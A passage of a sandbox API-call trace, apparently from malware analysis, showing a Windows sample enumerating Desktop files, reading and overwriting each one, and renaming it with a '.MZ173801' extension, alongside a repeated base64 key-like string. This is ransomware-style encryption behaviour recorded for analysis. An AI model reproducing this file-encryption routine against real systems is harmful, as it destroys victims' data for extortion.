halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\uuhfjl.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0145.117] WriteFile (in: hFile=0x2a8, lpBuffer=0x724540*, nNumberOfBytesToWrite=0xeffa, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x724540*, lpNumberOfBytesWritten=0x18f404*=0xeffa, lpOverlapped=0x0) returned 1 [0145.119] CloseHandle (hObject=0x2a8) returned 1 [0145.119] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\UUhFJl.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\uuhfjl.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\UUhFJl.mkv.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\uuhfjl.mkv.mz173801")) returned 1 [0145.120] FindClose (in: hFindFile=0x2fc700 | out: hFindFile=0x2fc700) returned 1 [0145.121] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\*.*", lpFindFileData=0x18f530 | out: lpFindFileData=0x18f530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x570f7660, ftCreationTime.dwHighDateTime=0x1d5e1e1, ftLastAccessTime.dwLowDateTime=0xa74ed240, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa74ed240, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x2f72f0, cFileName=".", cAlternateFileName="")) returned 0x2fc700 [0145.121] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\*.*", lpFindFileData=0x18f264 | out: lpFindFileData=0x18f264*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62e83bc0, ftCreationTime.dwHighDateTime=0x1d5e5f6, ftLastAccessTime.dwLowDateTime=0xb8f9d900, ftLastAccessTime.dwHighDateTime=0x1d5dc6f, ftLastWriteTime.dwLowDateTime=0xb8f9d900, ftLastWriteTime.dwHighDateTime=0x1d5dc6f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc740 [0145.121] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\0s-6_jJxVlijEoSircL.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\0s-6_jjxvlijeosircl.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f16c | out: lpFileInformation=0x18f16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc43b3290, ftCreationTime.dwHighDateTime=0x1d5dc61, ftLastAccessTime.dwLowDateTime=0xe3d778c0, ftLastAccessTime.dwHighDateTime=0x1d5dda1, ftLastWriteTime.dwLowDateTime=0xe3d778c0, ftLastWriteTime.dwHighDateTime=0x1d5dda1, nFileSizeHigh=0x0, nFileSizeLow=0x154a9)) returned 1 [0145.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x7a06cc, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.125] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\0s-6_jJxVlijEoSircL.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\0s-6_jjxvlijeosircl.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0145.125] SetFilePointer (in: hFile=0x2ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f120*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f120*=0) returned 0x0 [0145.125] SetFilePointer (in: hFile=0x2ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0x0 [0145.126] SetFilePointer (in: hFile=0x2ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0x154a9 [0145.126] SetFilePointer (in: hFile=0x2ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f118*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f118*=0) returned 0x0 [0145.126] ReadFile (in: hFile=0x2ac, lpBuffer=0x71c870, nNumberOfBytesToRead=0x154a9, lpNumberOfBytesRead=0x18f12c, lpOverlapped=0x0 | out: lpBuffer=0x71c870*, lpNumberOfBytesRead=0x18f12c*=0x154a9, lpOverlapped=0x0) returned 1 [0145.127] CloseHandle (hObject=0x2ac) returned 1 [0145.129] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\0s-6_jJxVlijEoSircL.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\0s-6_jjxvlijeosircl.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0145.131] WriteFile (in: hFile=0x2ac, lpBuffer=0x7328a0*, nNumberOfBytesToWrite=0x154a9, lpNumberOfBytesWritten=0x18f138, lpOverlapped=0x0 | out: lpBuffer=0x7328a0*, lpNumberOfBytesWritten=0x18f138*=0x154a9, lpOverlapped=0x0) returned 1 [0145.133] CloseHandle (hObject=0x2ac) returned 1 [0145.134] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\0s-6_jJxVlijEoSircL.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\0s-6_jjxvlijeosircl.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\0s-6_jJxVlijEoSircL.mkv.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\0s-6_jjxvlijeosircl.mkv.mz173801")) returned 1 [0145.135] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\1VJ5r3V4d2XtN.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\1vj5r3v4d2xtn.bmp"), fInfoLevelId=0x0, lpFileInformation=0x18f16c | out: lpFileInformation=0x18f16c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62dd7420, ftCreationTime.dwHighDateTime=0x1d5d902, ftLastAccessTime.dwLowDateTime=0x9e1c8e00, ftLastAccessTime.dwHighDateTime=0x1d5e702, ftLastWriteTime.dwLowDateTime=0x9e1c8e00, ftLastWriteTime.dwHighDateTime=0x1d5e702, nFileSizeHigh=0x0, nFileSizeLow=0xf798)) returned 1 [0145.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x7a06cc, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.139] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\WLYZZoP9DJKT\\1VJ5r3V4d2XtN.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\wlyzzop9djkt\\1vj5r3v4d2xtn.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0145.139] SetFilePointer (in: hFile=0x2ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f120*=0, 